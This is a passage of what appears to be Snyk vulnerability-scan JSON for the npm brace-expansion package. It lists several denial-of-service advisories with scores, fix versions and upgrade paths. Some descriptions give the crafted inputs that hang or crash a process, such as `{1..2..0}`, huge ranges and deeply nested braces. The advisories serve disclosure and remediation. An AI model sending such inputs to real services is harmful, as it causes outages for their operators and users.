"libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": 